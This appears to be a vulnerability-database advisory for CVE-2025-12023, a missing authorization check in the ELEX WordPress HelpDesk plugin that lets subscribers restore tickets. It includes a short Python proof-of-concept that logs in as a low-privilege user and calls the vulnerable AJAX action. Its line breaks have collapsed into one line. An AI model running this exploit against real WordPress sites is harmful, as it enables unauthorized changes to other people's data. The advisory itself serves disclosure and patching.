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CVE-2025-12023 CVSS 4.3 MEDIUM

CVE-2025-12023

Published: 2025-11-21 06:15:48
Last Modified: 2025-12-03 18:28:41

Description

The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the eh_crm_restore_data() function in all versions up to, and including, 3.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to restore tickets.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:* - VULNERABLE
ELEX WordPress HelpDesk & Customer Ticketing System < 3.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # Configuration target_url = "https://vulnerable-site.com/" # Replace with target WordPress site username = "subscriber_user" # Low-privilege user account password = "user_password" # Login to WordPress session = requests.Session() login_url = target_url + "wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url + "wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Exploit the vulnerability - Call eh_crm_restore_data via AJAX exploit_url = target_url + "wp-admin/admin-ajax.php" exploit_data = { "action": "eh_crm_restore_data", "ticket_id": "1" # Target ticket ID to restore } response = session.post(exploit_url, data=exploit_data) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC demonstrates unauthorized access to restore ticket functionality

References

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